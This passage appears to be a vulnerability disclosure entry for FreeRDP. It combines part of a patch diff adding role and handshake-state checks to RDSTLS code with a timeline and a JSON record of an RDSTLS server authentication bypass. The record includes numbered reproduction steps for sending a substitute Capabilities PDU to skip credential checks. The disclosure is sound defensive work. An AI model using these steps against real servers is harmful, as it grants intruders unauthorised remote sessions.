- Stream_Write_UINT16(s, RDSTLS_VERSION_1);
+ Stream_Write_UINT16(s, rdstls->supportedVersions);
return TRUE;
}
+WINPR_ATTR_NODISCARD
static SSIZE_T rdstls_write_string(wStream* s, const char* str)
{
const size_t pos = Stream_GetPosition(s);
@@ -267,6 +321,7 @@ static SSIZE_T rdstls_write_string(wStream* s, const char* str)
return (SSIZE_T)(Stream_GetPosition(s) - pos);
}
+WINPR_ATTR_NODISCARD
static BOOL rdstls_write_data(wStream* s, UINT32 length, const BYTE* data)
{
WINPR_ASSERT(data || (length == 0));
@@ -284,10 +339,12 @@ static BOOL rdstls_write_data(wStream* s, UINT32 length, const BYTE* data)
return TRUE;
}
+WINPR_ATTR_NODISCARD
static BOOL rdstls_write_cookie(wStream* s, const ARC_SC_PRIVATE_PACKET* cookie)
{
WINPR_ASSERT(cookie);
- const uint16_t length = 28;
+ const uint16_t length = sizeof(ARC_SC_PRIVATE_PACKET);
+ WINPR_STATIC_ASSERT(sizeof(ARC_SC_PRIVATE_PACKET) == 28);
if (!Stream_EnsureRemainingCapacity(s, 2))
return FALSE;
@@ -304,11 +361,42 @@ static BOOL rdstls_write_cookie(wStream* s, const ARC_SC_PRIVATE_PACKET* cookie)
return TRUE;
}
+WINPR_ATTR_NODISCARD
+static BOOL rdstls_read_cookie(wLog* log, wStream* s, ARC_SC_PRIVATE_PACKET* cookie)
+{
+ WINPR_ASSERT(cookie);
+ const uint16_t length = sizeof(ARC_SC_PRIVATE_PACKET);
+ WINPR_STATIC_ASSERT(sizeof(ARC_SC_PRIVATE_PACKET) == 28);
+
+ if (!Stream_CheckAndLogRequiredLengthWLog(log, s, length + 2ull))
+ return FALSE;
+
+ const uint16_t len = Stream_Get_UINT16(s);
+ if (len != length)
+ {
+ WLog_Print(log, WLOG_ERROR,
+ "RDSTLS Cookie: Unexpected length %" PRIu16 ", expected %" PRIu16, len, length);
+ return FALSE;
+ }
+
+ cookie->cbLen = Stream_Get_UINT32(s);
+ cookie->version = Stream_Get_UINT32(s);
+ cookie->logonId = Stream_Get_UINT32(s);
+ Stream_Read(s, cookie->arcRandomBits, sizeof(cookie->arcRandomBits));
+ return TRUE;
+}
+
+WINPR_ATTR_NODISCARD
static BOOL rdstls_write_authentication_request_with_password(rdpRdstls* rdstls, wStream* s)
{
WINPR_ASSERT(rdstls);
WINPR_ASSERT(rdstls->context);
+ if (!rdstls_required_role_is_server(rdstls, FALSE))
+ return FALSE;
+ if (!rdstls_check_state_requirements(rdstls, RDSTLS_STATE_AUTH_REQ))
+ return FALSE;
+
WLog_Print(rdstls->log, WLOG_DEBUG, "Writing RDSTLS password authentication message");
rdpSettings* settings = rdstls->context->settings;
@@ -335,6 +423,7 @@ static BOOL rdstls_write_authentication_request_with_password(rdpRdstls* rdstls,
return TRUE;
}
+WINPR_ATTR_NODISCARD
static BOOL rdstls_write_authentication_request_with_cookie(WINPR_ATTR_UNUSED rdpRdstls* rdstls,
WINPR_ATTR_UNUSED wStream* s)
{
@@ -343,6 +432,11 @@ static BOOL rdstls_write_authentication_request_with_cookie(WINPR_ATTR_UNUSED rd
WLog_Print(rdstls->log, WLOG_DEBUG, "Writing RDSTLS cookie authentication message");
+ if (!rdstls_required_role_is_server(rdstls, FALSE))
+ return FALSE;
+ if (!rdstls_check_state_requirements(rdstls, RDSTLS_STATE_AUTH_REQ))
+ return FALSE;
+
rdpSettings* settings = rdstls->context->settings;
WINPR_ASSERT(settings);
@@ -395,6 +489,11 @@ static BOOL rdstls_write_authentication_request_with_fedauth_token(rdpRdstls* rd
WLog_Print(rdstls->log, WLOG_DEBUG, "Writing RDSTLS FedAuth token authentication message");
+ if (!rdstls_required_role_is_server(rdstls, FALSE))
+ return FALSE;
+ if (!rdstls_check_state_requirements(rdstls, RDSTLS_STATE_AUTH_REQ))
+ return FALSE;
+
const rdpSettings* settings = rdstls->context->settings;
WINPR_ASSERT(settings);
@@ -431,9 +530,15 @@ static BOOL rdstls_write_authentication_request_with_fedauth_token(rdpRdstls* rd
return Stream_Write_UTF16_String_From_UTF8(s, wideLength, token, utf8Length, TRUE) >= 0;
}
+WINPR_ATTR_NODISCARD
static BOOL rdstls_write_authentication_response(rdpRdstls* rdstls, wStream* s)
{
WINPR_ASSERT(rdstls);
+
+ if (!rdstls_required_role_is_server(rdstls, TRUE))
+ return FALSE;
+ if (!rdstls_check_state_requirements(rdstls, RDSTLS_STATE_AUTH_RSP))
+ return FALSE;
if (!Stream_EnsureRemainingCapacity(s, 8))
return FALSE;
@@ -444,9 +549,41 @@ static BOOL rds
… (truncated)https://github.com/FreeRDP/FreeRDP/commit/b05a9510787c83c87ffc5fa8d7cc9f06ed971695
Recorded dates, in order.
- 2026-04-02 Discovered or logged
- 2026-07-16 Patch released
- 2026-07-22 Sent to maintainer
- 2026-07-22 Maintainer acknowledged
- 2026-09-28 Publicly revealed
SHA-3-512 hash:
2cf7b2bd21a389dd592adf2a0d7ead11432494a6d795895b7d0ab3e05c1f8adb1418e8dc22389634c945255804aecb4e72f039893f5a6875409616092f167c2c
Committed 2026-07-22 07:29 UTC
Revealed 2026-09-28 21:58 UTC
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-TVG98XT0",
"bug_class": "Authentication Bypass",
"claude_severity": "high",
"commit_sha": null,
"created_at": "2026-04-16T01:52:43+00:00",
"description": "In FreeRDP's RDSTLS server handshake, rdstls_recv() (rdstls.c:719) dispatches solely on the wire pduType with no check of peer role or handshake state. The rdpRdstls struct is calloc-allocated, so resultCode starts at 0 == RDSTLS_RESULT_SUCCESS. A client that replies to the server's Capabilities PDU with another Capabilities PDU (or an AUTHRSP) instead of an Authentication Request is routed to a handler that returns TRUE without touching resultCode. rdstls_server_authenticate() (rdstls.c:935) then sends AUTHRSP(SUCCESS) and returns authenticated, never evaluating the password or redirection GUID/cookie. A remote attacker thus obtains a full RDP session on any FreeRDP-based server/proxy with RdstlsSecurity enabled.",
"discovered_at": "2026-04-02T00:00:00+00:00",
"location": "libfreerdp/core/rdstls.c:719",
"poc_sha256": null,
"preimage_version": 1,
"project": "freerdp/freerdp",
"reproduction": [
"1. Connect and negotiate PROTOCOL_RDSTLS at X.224, complete TLS.",
"2. Receive the server's RDSTLS Capabilities PDU.",
"3. Reply with an 8-byte RDSTLS_TYPE_CAPABILITIES PDU (version=1,type=1,dataType=1,versions=1) instead of an Authentication Request (alternatively send RDSTLS_TYPE_AUTHRSP with resultCode=0).",
"4. rdstls_recv() routes it to rdstls_process_capabilities(), which returns TRUE without touching resultCode.",
"5. Server transitions AUTH_REQ→AUTH_RSP, sends AUTHRSP(resultCode=0=SUCCESS), and rdstls_server_authenticate() returns 1.",
"6. Connection advances to CONNECTION_STATE_MCS_CREATE_REQUEST with the session marked authenticated; proceed with a full RDP session."
],
"technical_details": "Root cause is a fail-open default combined with missing state validation: rdstls_new() calloc-zeroes resultCode to RDSTLS_RESULT_SUCCESS, and rdstls_recv() switches purely on attacker-supplied pduType without consulting rdstls->state or rdstls->server. The state-transition checker only validates the server's own fixed sequence, so an unexpected inbound PDU type is silently accepted and the credential-verification path is skipped entirely.",
"title": "RDSTLS server authentication bypass via PDU-type confusion",
"vendor_severity": "high"
}